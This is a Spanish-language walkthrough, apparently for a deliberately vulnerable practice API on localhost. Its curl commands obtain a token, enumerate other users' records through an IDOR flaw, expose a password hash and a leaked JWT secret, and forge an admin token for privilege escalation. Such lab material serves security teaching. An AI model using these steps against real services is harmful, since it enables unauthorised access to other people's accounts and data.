

## Paso 1: Obtener un Token

Primero necesitas autenticarte. Usa este curl:

```
bash
curl -X 'POST' \
  'http://127.0.0.1:8000/login' \
  -H 'accept: application/json' \
  -H 'Content-Type: application/json' \
  -d '{
    "username": "user1",
    "password": "password123"
  }'
```


**Respuesta esperada:**

```
json
{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "token_type": "bearer",
  "expires_in": 1800,
  "user_info": {
    "id": 2,
    "username": "user1",
    "role": "user",
    "email": "user1@test.com"
  }
}
```

## Paso 2: Usar el Token para IDOR

Ahora copia el `access_token` y úsalo:

```
bash
curl -X 'GET' \
  'http://127.0.0.1:8000/users/1' \
  -H 'accept: application/json' \
  -H 'Authorization: Bearer [PEGA_AQUI_TU_TOKEN]'
```

 **VULNERABILIDAD ENCONTRADA:** Siendo `user1` (ID 2), puedes acceder a información del `admin` (ID 1)

## Paso 3: Explotar IDOR - Enumerar Usuarios

Intenta con diferentes IDs:

bash

*# Usuario admin (ID 1)*

```
curl -X 'GET' \
  'http://127.0.0.1:8000/users/1' \
  -H 'Authorization: Bearer [TU_TOKEN]'
```

*# Tu propio usuario (ID 2)*

```
curl -X 'GET' \
  'http://127.0.0.1:8000/users/2' \
  -H 'Authorization: Bearer [TU_TOKEN]'
```

*# Usuario moderador (ID 3)*

```
curl -X 'GET' \
  'http://127.0.0.1:8000/users/3' \
  -H 'Authorization: Bearer [TU_TOKEN]'
```

### VULNERABILIDADES CRÍTICAS QUE ENCONTRARÁS:

1. **IDOR (Insecure Direct Object Reference):** Puedes ver información de otros usuarios
2. **Information Disclosure:** El response incluye el `password_hash`
3. **Lack of Authorization:** No verifica si puedes acceder a esa información

## Paso 4: Analizar la Respuesta Vulnerable

La respuesta te dará algo como:

```
json
{
  "id": 1,
  "username": "admin",
  "email": "admin@test.com",
  "role": "admin",
  "created_at": "2025-07-30T...",
  "password_hash": "0192023a7bbd73250516f069df18b500" ← ¡HASH EXPUESTO!
}
```



## Paso 5: Explorar Más Vulnerabilidades

### A. Obtener la clave JWT (Critical!)

bash

```
curl -X 'GET' 'http://127.0.0.1:8000/debug'
```

Respuesta incluirá:

```
json
{
  "jwt_secret": "123456", ← ¡CLAVE JWT EXPUESTA!
  "algorithm": "HS256"
}
```

### B. Acceso a datos sensibles

bash

```
curl -X 'GET' \
  'http://127.0.0.1:8000/sensitive-data/1' \
  -H 'Authorization: Bearer [TU_TOKEN]'
```

### C. Información interna crítica

bash

```
curl -X 'GET' 'http://127.0.0.1:8000/internal'
```

## Paso 6: Manipulación Avanzada de Tokens

Con la clave JWT ("123456") que obtuviste de `/debug`, puedes:

1. Ir a [jwt.io](https://jwt.io)
2. Pegar tu token actual
3. En "VERIFY SIGNATURE", poner: 123456
4. Modificar el payload:

```
json
{
  "sub": "user1",
  "user_id": 1,      ← Cambiar a ID de admin
  "role": "admin",  ← Cambiar role a admin
  "iat": 1234567890
}
```

5. Copiar el nuevo token generado

### Probar escalación de privilegios:

```
bash
curl -X 'GET' \
  'http://127.0.0.1:8000/admin/users' \
  -H 'Authorization: Bearer [TOKEN_MANIPULADO]'
```

## Resumen de Vulnerabilidades Confirmadas

- ✓ **IDOR:** Acceso a información de otros usuarios
- ✓ **Information Disclosure:** Hash de contraseñas expuestos
- ✓ **JWT Secret Exposure:** Clave débil expuesta
- ✓ **Weak Access Control:** Sin validación de ownership
- ✓ **Debug Endpoints:** Información crítica accesible